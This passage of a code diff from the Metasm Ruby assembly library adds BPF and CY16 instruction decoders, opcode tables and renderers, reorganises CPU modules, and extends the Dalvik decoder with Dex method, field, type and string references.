arg.kind_of?(Memref) and parse_arg_valid?(op, os, arg.offset)
when :reglist; arg.kind_of?(RegList)
end
# TODO check flags on reglist, check int values
end
def parse_argument(lexer)
raise lexer, "unexpected EOS" if not lexer.nexttok
if Reg.s_to_i[lexer.nexttok.raw]
arg = Reg.new Reg.s_to_i[lexer.readtok.raw]
lexer.skip_space
@ -62,22 +70,24 @@ class ARM
when '!'
lexer.readtok
arg.updated = true
end
end if lexer.nexttok
elsif lexer.nexttok.raw == '{'
lexer.readtok
arg = RegList.new
loop do
raise "unterminated reglist" if lexer.eos?
lexer.skip_space
raise "unterminated reglist" if lexer.eos?
if Reg.s_to_i[lexer.nexttok.raw]
arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw])
lexer.skip_space
raise "unterminated reglist" if lexer.eos?
end
case lexer.nexttok.raw
when ','; lexer.readtok
when '-'
lexer.readtok
lexer.skip_space
raise "unterminated reglist" if lexer.eos?
if not r = Reg.s_to_i[lexer.nexttok.raw]
raise lexer, "reglist parse error: invalid range"
end
@ -95,20 +105,22 @@ class ARM
end
elsif lexer.nexttok.raw == '['
lexer.readtok
raise "unexpected EOS" if lexer.eos?
if not base = Reg.s_to_i[lexer.nexttok.raw]
raise lexer, 'invalid mem base (reg expected)'
end
base = Reg.new Reg.s_to_i[lexer.readtok.raw]
raise "unexpected EOS" if lexer.eos?
if lexer.nexttok.raw == ']'
lexer.readtok
closed = true
#closed = true
end
if lexer.nexttok.raw != ','
if !lexer.nexttok or lexer.nexttok.raw != ','
raise lexer, 'mem off expected'
end
lexer.readtok
off = parse_argument(lexer)
if not off.kind_of? Expression and not off.kind_of? Reg
if not off.kind_of?(Expression) and not off.kind_of?(Reg)
raise lexer, 'invalid mem off (reg/imm expected)'
end
case lexer.nexttok and lexer.nexttok.raw

View File

@ -4,7 +4,7 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/render'
require 'metasm/arm/opcodes'
require 'metasm/cpu/arm/opcodes'
module Metasm
class ARM
@ -19,7 +19,7 @@ class ARM
["#{r} RRX"]
else
case s = @shift
when Integer; s = Expression[s]
when Integer; s = Expression[s == 0 ? 32 : s] # lsl and ror already accounted for
when Reg; s = self.class.i_to_s[s.i]
end
["#{r} #{@stype.to_s.upcase} #{s}"]

View File

@ -5,4 +5,5 @@
require 'metasm/main'
require 'metasm/dalvik/decode'
require 'metasm/cpu/bpf/decode'
require 'metasm/cpu/bpf/render'

View File

@ -0,0 +1,142 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/bpf/opcodes'
require 'metasm/decode'
module Metasm
class BPF
def build_bin_lookaside
opcode_list.inject({}) { |h, op| h.update op.bin => op }
end
# tries to find the opcode encoded at edata.ptr
def decode_findopcode(edata)
return if edata.ptr > edata.data.length-8
di = DecodedInstruction.new self
code = edata.data[edata.ptr, 2].unpack('v')[0]
return di if di.opcode = @bin_lookaside[code]
end
def decode_instr_op(edata, di)
op = di.opcode
di.instruction.opname = op.name
di.bin_length = 8
code, jt, jf, k = edata.read(8).unpack('vCCV')
op.args.each { |a|
di.instruction.args << case a
when :k; Expression[k]
when :x; Reg.new(:x)
when :a; Reg.new(:a)
when :len; Reg.new(:len)
when :p_k; PktRef.new(nil, Expression[k], op.props[:msz])
when :p_xk; PktRef.new(Reg.new(:x), Expression[k], op.props[:msz])
when :m_k; MemRef.new(nil, Expression[4*k], 4)
when :jt; Expression[jt]
when :jf; Expression[jf]
else raise "unhandled arg #{a}"
end
}
# je a, x, 0, 12 -> jne a, x, 12
# je a, x, 12, 0 -> je a, x, 12
if op.args[2] == :jt and di.instruction.args[2] == Expression[0]
di.opcode = op.dup
di.opcode.props.delete :stopexec
di.instruction.opname = { 'jg' => 'jle', 'jge' => 'jl', 'je' => 'jne', 'jtest' => 'jntest' }[di.instruction.opname]
di.instruction.args.delete_at(2)
elsif op.args[3] == :jf and di.instruction.args[3] == Expression[0]
di.opcode = op.dup
di.opcode.props.delete :stopexec
di.instruction.args.delete_at(3)
end
di
end
def decode_instr_interpret(di, addr)
if di.opcode.props[:setip]
delta = di.instruction.args[-1].reduce + 1
arg = Expression[addr, :+, 8*delta].reduce
di.instruction.args[-1] = Expression[arg]
if di.instruction.args.length == 4
delta = di.instruction.args[2].reduce + 1
arg = Expression[addr, :+, 8*delta].reduce
di.instruction.args[2] = Expression[arg]
end
end
di
end
# hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding }
def backtrace_binding
@backtrace_binding ||= init_backtrace_binding
end
def backtrace_binding=(b) @backtrace_binding = b end
# populate the @backtrace_binding hash with default values
def init_backtrace_binding
@backtrace_binding ||= {}
opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op|
binding = case op
when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
when 'add'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } }
when 'sub'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } }
when 'mul'; lambda { |di, a0, a1| { a0 => Expression[a0, :*, a1] } }
when 'div'; lambda { |di, a0, a1| { a0 => Expression[a0, :/, a1] } }
when 'shl'; lambda { |di, a0, a1| { a0 => Expression[a0, :<<, a1] } }
when 'shr'; lambda { |di, a0, a1| { a0 => Expression[a0, :>>, a1] } }
when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } }
when 'msh'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xf], :<<, 2] } }
when 'jmp', 'jg', 'jge', 'je', 'jtest', 'ret'; lambda { |di, *a| { } }
end
@backtrace_binding[op] ||= binding if binding
}
@backtrace_binding
end
def get_backtrace_binding(di)
a = di.instruction.args.map { |arg|
case arg
when PktRef, MemRef, Reg; arg.symbolic(di)
else arg
end
}
if binding = backtrace_binding[di.opcode.name]
binding[di, *a]
else
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
{:incomplete_binding => Expression[1]}
end
end
def get_xrefs_x(dasm, di)
return [] if not di.opcode.props[:setip]
if di.instruction.args.length == 4
di.instruction.args[-2, 2]
else
di.instruction.args[-1, 1]
end
end
# updates an instruction's argument replacing an expression with another (eg label renamed)
def replace_instr_arg_immediate(i, old, new)
i.args.map! { |a|
case a
when Expression; a == old ? new : Expression[a.bind(old => new).reduce]
else a
end
}
end
end
end

View File

@ -0,0 +1,60 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/main'
module Metasm
class BPF < CPU
class Reg
attr_accessor :v
def initialize(v)
@v = v
end
def symbolic(orig=nil) ; @v ; end
end
class MemRef
attr_accessor :base, :offset, :msz
def memtype
:mem
end
def initialize(base, offset, msz)
@base = base
@offset = offset
@msz = msz
end
def symbolic(orig)
p = Expression[memtype]
p = Expression[p, :+, @base.symbolic] if base
p = Expression[p, :+, @offset] if offset
Indirection[p, @msz, orig]
end
end
class PktRef < MemRef
def memtype
:pkt
end
end
def initialize(family = :latest)
super()
@endianness = :big
@size = 32
@family = family
end
def init_opcode_list
send("init_#@family")
@opcode_list
end
end
end

View File

@ -0,0 +1,81 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/bpf/main'
module Metasm
class BPF
def addop(name, bin, *args)
o = Opcode.new name, bin
args.each { |a|
o.args << a if @valid_args[a]
o.props.update a if a.kind_of?(::Hash)
}
@opcode_list << o
end
def addop_ldx(bin, src)
addop 'mov', bin | 0x00, :a, src
addop 'mov', bin | 0x01, :x, src
end
def addop_ldsz(bin, src)
addop 'mov', bin | 0x00, :a, src, :msz => 4
addop 'mov', bin | 0x08, :a, src, :msz => 2
addop 'mov', bin | 0x10, :a, src, :msz => 1
end
def addop_alu(name, bin)
addop name, bin | 0x04, :a, :k
addop name, bin | 0x0C, :a, :x
end
def addop_j(name, bin)
addop name, bin | 0x05 | 0x00, :a, :k, :jt, :jf, :setip => true, :stopexec => true
addop name, bin | 0x05 | 0x08, :a, :x, :jt, :jf, :setip => true, :stopexec => true
end
def init_bpf
@opcode_list = []
[:a, :k, :x, :len, :m_k, :p_k, :p_xk, :jt, :jf].each { |a| @valid_args[a] = true }
# LD/ST
addop_ldx 0x00, :k
addop_ldsz 0x20, :p_k
addop_ldsz 0x40, :p_xk
addop_ldx 0x60, :m_k
addop_ldx 0x80, :len
addop 'msh', 0xB1, :x, :p_k, :msz => 1
addop 'mov', 0x02, :m_k, :a
addop 'mov', 0x03, :m_k, :x
# ALU
addop_alu 'add', 0x00
addop_alu 'sub', 0x10
addop_alu 'mul', 0x20
addop_alu 'div', 0x30
addop_alu 'or', 0x40
addop_alu 'and', 0x50
addop_alu 'shl', 0x60
addop_alu 'shr', 0x70
addop 'neg', 0x84, :a
# JMP
addop 'jmp', 0x05, :k, :setip => true, :stopexec => true
addop_j 'je', 0x10
addop_j 'jg', 0x20
addop_j 'jge', 0x30
addop_j 'jtest',0x40
addop 'ret', 0x06, :k, :stopexec => true
addop 'ret', 0x16, :a, :stopexec => true
addop 'mov', 0x07, :x, :a
addop 'mov', 0x87, :a, :x
end
alias init_latest init_bpf
end
end

View File

@ -0,0 +1,41 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/bpf/opcodes'
require 'metasm/render'
module Metasm
class BPF
class Reg
include Renderable
def render ; [@v.to_s] end
end
class MemRef
include Renderable
def render
r = []
r << memtype
r << [nil, ' byte ', ' word ', nil, ' dword '][@msz]
r << '['
r << @base if @base
r << '+' if @base and @offset
r << @offset if @offset
r << ']'
end
end
def render_instruction(i)
r = []
r << i.opname
if not i.args.empty?
r << ' '
i.args.each { |a_| r << a_ << ', ' }
r.pop
end
r
end
end
end

View File

@ -5,7 +5,5 @@
require 'metasm/main'
require 'metasm/ppc/parse'
require 'metasm/ppc/encode'
require 'metasm/ppc/decode'
require 'metasm/ppc/decompile'
require 'metasm/cpu/cy16/decode'
require 'metasm/cpu/cy16/render'

View File

@ -0,0 +1,253 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/cy16/opcodes'
require 'metasm/decode'
module Metasm
class CY16
def build_opcode_bin_mask(op)
# bit = 0 if can be mutated by an field value, 1 if fixed by opcode
op.bin_mask = 0
op.fields.each { |f, off|
op.bin_mask |= (@fields_mask[f] << off)
}
op.bin_mask ^= 0xffff
end
def build_bin_lookaside
# sets up a hash byte value => list of opcodes that may match
# opcode.bin_mask is built here
lookaside = Array.new(256) { [] }
opcode_list.each { |op|
build_opcode_bin_mask op
b = (op.bin >> 8) & 0xff
msk = (op.bin_mask >> 8) & 0xff
for i in b..(b | (255^msk))
lookaside[i] << op if i & msk == b & msk
end
}
lookaside
end
def decode_findopcode(edata)
di = DecodedInstruction.new self
return if edata.ptr+2 > edata.length
bin = edata.decode_imm(:u16, @endianness)
edata.ptr -= 2
return di if di.opcode = @bin_lookaside[(bin >> 8) & 0xff].find { |op|
bin & op.bin_mask == op.bin & op.bin_mask
}
end
def decode_instr_op_r(val, edata)
bw = ((val & 0b1000) > 0 ? 1 : 2)
case val & 0b11_0000
when 0b00_0000
Reg.new(val)
when 0b01_0000
if val == 0b01_1111
Expression[edata.decode_imm(:u16, @endianness)]
else
Memref.new(Reg.new(8+(val&7)), nil, bw)
end
when 0b10_0000
if val & 7 == 7
Memref.new(nil, edata.decode_imm(:u16, @endianness), bw)
else
Memref.new(Reg.new(8+(val&7)), nil, bw, true)
end
when 0b11_0000
Memref.new(Reg.new(8+(val&7)), edata.decode_imm(:u16, @endianness), bw)
end
end
def decode_instr_op(edata, di)
before_ptr = edata.ptr
op = di.opcode
di.instruction.opname = op.name
bin = edata.decode_imm(:u16, @endianness)
field_val = lambda { |f|
if off = op.fields[f]
(bin >> off) & @fields_mask[f]
end
}
op.args.each { |a|
di.instruction.args << case a
when :rs, :rd; decode_instr_op_r(field_val[a], edata)
when :o7; Expression[2*Expression.make_signed(field_val[a], 7)]
when :x7; Expression[field_val[a]]
when :u3; Expression[field_val[a]+1]
else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
end
}
di.instruction.args.reverse!
di.bin_length += edata.ptr - before_ptr
di
rescue InvalidRD
end
def decode_instr_interpret(di, addr)
if di.opcode.props[:setip] and di.opcode.args.last == :o7
delta = di.instruction.args.last.reduce
arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce
di.instruction.args[-1] = Expression[arg]
end
di
end
# hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding }
def backtrace_binding
@backtrace_binding ||= init_backtrace_binding
end
def backtrace_binding=(b) @backtrace_binding = b end
# populate the @backtrace_binding hash with default values
def init_backtrace_binding
@backtrace_binding ||= {}
mask = 0xffff
opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op|
binding = case op
when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or', 'addi', 'subi'
lambda { |di, a0, a1|
e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&,
'xor' => :^, 'or' => :|, 'addi' => :+, 'subi' => :- }[op]
ret = Expression[a0, e_op, a1]
ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbb'
# optimises eax ^ eax => 0
# avoid hiding memory accesses (to not hide possible fault)
ret = Expression[ret.reduce] if not a0.kind_of? Indirection
{ a0 => ret }
}
when 'cmp', 'test'; lambda { |di, *a| {} }
when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } }
when 'call'
lambda { |di, a0| { :sp => Expression[:sp, :-, 2],
Indirection[:sp, 2, di.address] => Expression[di.next_addr] }
}
when 'ret'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } }
# TODO callCC, retCC ...
when /^j/; lambda { |di, *a| {} }
end
# TODO flags ?
@backtrace_binding[op] ||= binding if binding
}
@backtrace_binding
end
def get_backtrace_binding(di)
a = di.instruction.args.map { |arg|
case arg
when Memref, Reg; arg.symbolic(di)
else arg
end
}
if binding = backtrace_binding[di.opcode.basename]
bd = {}
di.instruction.args.each { |aa| bd[aa.base.symbolic] = Expression[aa.base.symbolic, :+, aa.sz] if aa.kind_of?(Memref) and aa.autoincr }
bd.update binding[di, *a]
else
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
# assume nothing except the 1st arg is modified
case a[0]
when Indirection, Symbol; { a[0] => Expression::Unknown }
when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {}
else {}
end.update(:incomplete_binding => Expression[1])
end
end
# patch a forward binding from the backtrace binding
def fix_fwdemu_binding(di, fbd)
case di.opcode.name
when 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2])
end
fbd
end
def get_xrefs_x(dasm, di)
return [] if not di.opcode.props[:setip]
return [Indirection[:sp, 2, di.address]] if di.opcode.name =~ /^r/
case tg = di.instruction.args.first
when Memref; [Expression[tg.symbolic(di)]]
when Reg; [Expression[tg.symbolic(di)]]
when Expression, ::Integer; [Expression[tg]]
else
puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG
[]
end
end
# checks if expr is a valid return expression matching the :saveip instruction
def backtrace_is_function_return(expr, di=nil)
expr = Expression[expr].reduce_rec
expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp]
end
# updates the function backtrace_binding
# if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand)
def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs)
b = f.backtrace_binding
bt_val = lambda { |r|
next if not retaddrlist
b[r] = Expression::Unknown
bt = []
retaddrlist.each { |retaddr|
bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true,
:snapshot_addr => faddr, :origin => retaddr)
}
if bt.length != 1
b[r] = Expression::Unknown
else
b[r] = bt.first
end
}
if not wantregs.empty?
wantregs.each(&bt_val)
else
bt_val[:sp]
end
b
end
# returns true if the expression is an address on the stack
def backtrace_is_stack_address(expr)
Expression[expr].expr_externals.include?(:sp)
end
# updates an instruction's argument replacing an expression with another (eg label renamed)
def replace_instr_arg_immediate(i, old, new)
i.args.map! { |a|
case a
when Expression; a == old ? new : Expression[a.bind(old => new).reduce]
when Memref
a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset
a
else a
end
}
end
end
end

View File

@ -0,0 +1,63 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/main'
module Metasm
class CY16 < CPU
class Reg
class << self
attr_accessor :s_to_i, :i_to_s
end
@i_to_s = (0..14).inject({}) { |h, i| h.update i => "r#{i}" }
@i_to_s[15] = 'sp'
@s_to_i = @i_to_s.invert
attr_accessor :i
def initialize(i)
@i = i
end
def symbolic(orig=nil) ; to_s.to_sym ; end
def self.from_str(s)
raise "Bad name #{s.inspect}" if not x = @s_to_i[s]
new(x)
end
end
class Memref
attr_accessor :base, :offset, :sz, :autoincr
def initialize(base, offset, sz=nil, autoincr=nil)
@base = base
offset = Expression[offset] if offset
@offset = offset
@sz = sz
@autoincr = autoincr
end
def symbolic(orig)
p = nil
p = Expression[p, :+, @base.symbolic] if base
p = Expression[p, :+, @offset] if offset
Indirection[p.reduce, @sz, orig]
end
end
def initialize(family = :latest)
super()
@endianness = :little
@size = 16
@family = family
end
def init_opcode_list
send("init_#@family")
@opcode_list
end
end
end

View File

@ -0,0 +1,78 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/cy16/main'
module Metasm
class CY16
def addop(name, bin, *args)
o = Opcode.new name, bin
args.each { |a|
o.args << a if @fields_mask[a] or @valid_args[a]
o.props[a] = true if @valid_props[a]
o.fields[a] = @fields_shift[a] if @fields_mask[a]
raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a]
}
@opcode_list << o
end
def addop_macrocc(name, bin, *args)
%w[z nz b ae s ns o no a be g ge l le].each_with_index { |cc, i|
dbin = bin
dbin |= i << 8
addop name + cc, dbin, *args
}
end
def init_cy16
@opcode_list = []
@valid_args.update [:rs, :rd, :o7
].inject({}) { |h, v| h.update v => true }
@fields_mask.update :rs => 0x3f, :rd => 0x3f, :o7 => 0x7f, :x7 => 0x7f, :u3 => 7
@fields_shift.update :rs => 6, :rd => 0, :o7 => 0, :x7 => 0, :u3 => 6
addop 'mov', 0<<12, :rs, :rd
addop 'add', 1<<12, :rs, :rd
addop 'adc', 2<<12, :rs, :rd
addop 'addc',2<<12, :rs, :rd
addop 'sub', 3<<12, :rs, :rd
addop 'sbb', 4<<12, :rs, :rd
addop 'subb',4<<12, :rs, :rd
addop 'cmp', 5<<12, :rs, :rd
addop 'and', 6<<12, :rs, :rd
addop 'test',7<<12, :rs, :rd
addop 'or', 8<<12, :rs, :rd
addop 'xor', 9<<12, :rs, :rd
addop_macrocc 'int', (10<<12), :x7
addop 'int', (10<<12) | (15<<8), :x7
addop_macrocc 'c', (10<<12) | (1<<7), :setip, :saveip, :rd
addop 'call',(10<<12) | (15<<8) | (1<<7), :setip, :stopexec, :saveip, :rd
addop_macrocc 'r', (12<<12) | (1<<7) | 0b010111, :setip # must come before absolute jmp
addop 'ret', (12<<12) | (15<<8) | (1<<7) | 0b010111, :setip, :stopexec
addop_macrocc 'j', (12<<12), :setip, :o7 # relative
addop 'jmp', (12<<12) | (15<<8), :setip, :stopexec, :o7 # relative
addop_macrocc 'j', (12<<12) | (1<<7), :setip, :rd # absolute
addop 'jmp', (12<<12) | (15<<8) | (1<<7), :setip, :stopexec, :rd # absolute
addop 'shr', (13<<12) | (0<<9), :u3, :rd
addop 'shl', (13<<12) | (1<<9), :u3, :rd
addop 'ror', (13<<12) | (2<<9), :u3, :rd
addop 'rol', (13<<12) | (3<<9), :u3, :rd
addop 'addi',(13<<12) | (4<<9), :u3, :rd
addop 'subi',(13<<12) | (5<<9), :u3, :rd
addop 'not', (13<<12) | (7<<9) | (0<<6), :rd
addop 'neg', (13<<12) | (7<<9) | (1<<6), :rd
addop 'cbw', (13<<12) | (7<<9) | (4<<6), :rd
addop 'sti', (13<<12) | (7<<9) | (7<<6) | 0
addop 'cli', (13<<12) | (7<<9) | (7<<6) | 1
addop 'stc', (13<<12) | (7<<9) | (7<<6) | 2
addop 'clc', (13<<12) | (7<<9) | (7<<6) | 3
end
alias init_latest init_cy16
end
end

View File

@ -0,0 +1,41 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/cy16/opcodes'
require 'metasm/render'
module Metasm
class CY16
class Reg
include Renderable
def render ; [self.class.i_to_s[@i]] end
end
class Memref
include Renderable
def render
r = []
r << (@sz == 1 ? 'byte ptr ' : 'word ptr ')
r << '['
r << @base if @base
r << '++' if @autoincr
r << ' + ' if @base and @offset
r << @offset if @offset
r << ']'
end
end
def render_instruction(i)
r = []
r << i.opname
if not i.args.empty?
r << ' '
i.args.each { |a_| r << a_ << ', ' }
r.pop
end
r
end
end
end

View File

@ -0,0 +1,11 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
class Metasm::Dalvik < Metasm::CPU
end
require 'metasm/main'
require 'metasm/cpu/dalvik/decode'

View File

@ -3,7 +3,7 @@
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/dalvik/opcodes'
require 'metasm/cpu/dalvik/opcodes'
require 'metasm/decode'
module Metasm
@ -12,7 +12,7 @@ class Dalvik
end
def decode_findopcode(edata)
return if edata.ptr >= edata.data.length
return if edata.ptr+2 > edata.length
di = DecodedInstruction.new(self)
di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff]
edata.ptr -= 2
@ -22,7 +22,7 @@ class Dalvik
def decode_instr_op(edata, di)
op = di.opcode
di.instruction.opname = op.name
val = [edata.decode_imm(:u16, @endianness)]
op.args.each { |a|
@ -80,7 +80,7 @@ class Dalvik
Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)]
when :rlist4, :rlist5
cnt = (val[0] >> 12) & 0xf
val << edata.decode_imm(:u16, @endianness)
val << edata.decode_imm(:u16, @endianness)
[cnt, 4].min.times {
di.instruction.args << Reg.new(val[-1] & 0xf)
val[-1] >>= 4
@ -96,20 +96,40 @@ class Dalvik
next
when :m16
val << edata.decode_imm(:u16, @endianness)
Method.new(@dex, val.last)
DexMethod.new(@dex, val.last)
when :fld16
val << edata.decode_imm(:u16, @endianness)
DexField.new(@dex, val.last)
when :typ16
val << edata.decode_imm(:u16, @endianness)
DexType.new(@dex, val.last)
when :str16
val << edata.decode_imm(:u16, @endianness)
DexString.new(@dex, val.last)
else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
end
}
di.bin_length = val.length*2
return if edata.ptr > edata.length
di
end
def decode_instr_interpret(di, addr)
if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname =~ /^if|^goto/
arg = Expression[addr, :+, [di.instruction.args.last, :*, 2]].reduce
di.instruction.args[-1] = Expression[arg]
end
di
end
def backtrace_binding
@backtrace_binding ||= init_backtrace_binding
end
def init_backtrace_binding
@backtrace_binding ||= {}
sz = @size/8
@ -117,12 +137,12 @@ class Dalvik
case op.name
when /invoke/
@backtrace_binding[op.name] = lambda { |di, *args| {
:callstack => Expression[:callstack, :-, sz],
:callstack => Expression[:callstack, :-, sz],
Indirection[:callstack, sz] => Expression[di.next_addr]
} }
when /return/
@backtrace_binding[op.name] = lambda { |di, *args| {
:callstack => Expression[:callstack, :+, sz]
:callstack => Expression[:callstack, :+, sz]
} }
end
}
@ -136,9 +156,9 @@ class Dalvik
else arg
end
}
if binding = backtrace_binding[di.opcode.name]
bd = binding[di, *a]
binding[di, *a]
else
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
# assume nothing except the 1st arg is modified
@ -150,20 +170,22 @@ class Dalvik
end
end
def get_xrefs_x(dasm, di)
if di.opcode.props[:saveip]
m = di.instruction.args.first
if m.kind_of? Method and m.off
if m.kind_of?(DexMethod) and m.off
[m.off]
else
[:default]
end
elsif di.opcode.props[:setip]
if di.opcode.name =~ /return/
if di.opcode.name =~ /^return/
[Indirection[:callstack, @size/8]]
elsif di.opcode.name =~ /^if|^goto/
[di.instruction.args.last]
else
[] # [di.instruction.args.last]
[] # [di.instruction.args.last]
end
else
[]

View File

@ -23,13 +23,14 @@ class Dalvik < CPU
end
end
class Method
class DexMethod
attr_accessor :dex, :midx, :off
def initialize(dex, midx)
@dex = dex
@midx = midx
if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and
me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.method == m }
me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.methodid == midx }
# FIXME this doesnt work
@off = me.codeoff + me.code.insns_off
end
end
@ -44,6 +45,54 @@ class Dalvik < CPU
end
end
class DexField
attr_accessor :dex, :fidx
def initialize(dex, fidx)
@dex = dex
@fidx = fidx
end
def to_s
if @dex and f = @dex.fields[@fidx]
@dex.types[f.classidx] + '->' + @dex.strings[f.nameidx]
else
"field_#@fidx"
end
end
end
class DexType
attr_accessor :dex, :tidx
def initialize(dex, tidx)
@dex = dex
@tidx = tidx
end
def to_s
if @dex and f = @dex.types[@tidx]
f
else
"type_#@tidx"
end
end
end
class DexString
attr_accessor :dex, :sidx
def initialize(dex, sidx)
@dex = dex
@sidx = sidx
end
def to_s
if @dex and f = @dex.strings[@sidx]
f.inspect
else
"string_#@sidx"
end
end
end
def initialize(*args)
super()
@size = args.grep(Integer).first || 32

View File

@ -11,7 +11,7 @@
# the opcode number is in the low-order byte, and determines the
# argument format, which may take up to 4 other words
require 'metasm/dalvik/main'
require 'metasm/cpu/dalvik/main'
module Metasm
class Dalvik
@ -61,9 +61,11 @@ invoke_virtual_quick invoke_virtual_quick_range invoke_super_quick invoke_super_
unused_fc unused_fd unused_fe unused_ff]
def init_dalvik
@valid_props << :canthrow
@valid_args = [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64,
:r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, :m16]
@valid_props[:canthrow] = true
[:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64,
:r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5,
:m16, :fld16, :typ16, :str16
].each { |a| @valid_args[a] = true }
@opcode_list = []
OPCODES.each_with_index { |n, b|
@ -80,7 +82,7 @@ unused_fc unused_fd unused_fe unused_ff]
def addop_args(op)
fmt = case op.name
when 'goto'
:fmt10t
:fmt10t
when 'nop', 'return_void'
:fmt10x
when 'const_4'
@ -119,12 +121,16 @@ unused_fc unused_fd unused_fe unused_ff]
:fmt20t
when 'goto_32'
:fmt30t
when 'const_string', 'const_class', 'check_cast',
'new_instance', 'sget', 'sget_wide', 'sget_object',
when 'const_string'
:fmt21c_str
when 'const_class', 'check_cast',
'new_instance'
:fmt21c_typ
when 'sget', 'sget_wide', 'sget_object',
'sget_boolean', 'sget_byte', 'sget_char', 'sget_short',
'sput', 'sput_wide', 'sput_object', 'sput_boolean',
'sput_byte', 'sput_char', 'sput_short'
:fmt21c
:fmt21c_fld
when 'const_16', 'const_wide_16'
:fmt21s
when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez'
@ -214,7 +220,9 @@ unused_fc unused_fd unused_fe unused_ff]
when :fmt10t; op.args << :iaa
when :fmt20t; op.args << :i16
when :fmt20bc; op.args << :iaa << :u16
when :fmt21c; op.args << :raa << :u16
when :fmt21c_str; op.args << :raa << :str16
when :fmt21c_typ; op.args << :raa << :typ16
when :fmt21c_fld; op.args << :raa << :fld16
when :fmt22x; op.args << :raa << :r16
when :fmt21s, :fmt21t; op.args << :raa << :i16
when :fmt21h; op.args << :raa << :i16_32hi
@ -222,7 +230,7 @@ unused_fc unused_fd unused_fe unused_ff]
when :fmt23x; op.args << :raa << :rbb << :rcc
when :fmt22b; op.args << :raa << :rbb << :icc
when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16
when :fmt22c, :fmt22cs; op.args << :ra << :rb << :u16
when :fmt22c, :fmt22cs; op.args << :ra << :rb << :fld16
when :fmt30t; op.args << :i32
when :fmt31t, :fmt31c; op.args << :raa << :u32
when :fmt32x; op.args << :r16 << :r16
@ -238,7 +246,7 @@ unused_fc unused_fd unused_fe unused_ff]
when :fmt3inline
op.args << :r16 << :rlist4
when :fmt3rc, :fmt3rms
# rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1
# rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1
op.args << :r16 << :rlist16
when :fmt51l
# u64 = u16 | (u16 << 16) | ...

View File

@ -0,0 +1,17 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
# fix autorequire warning
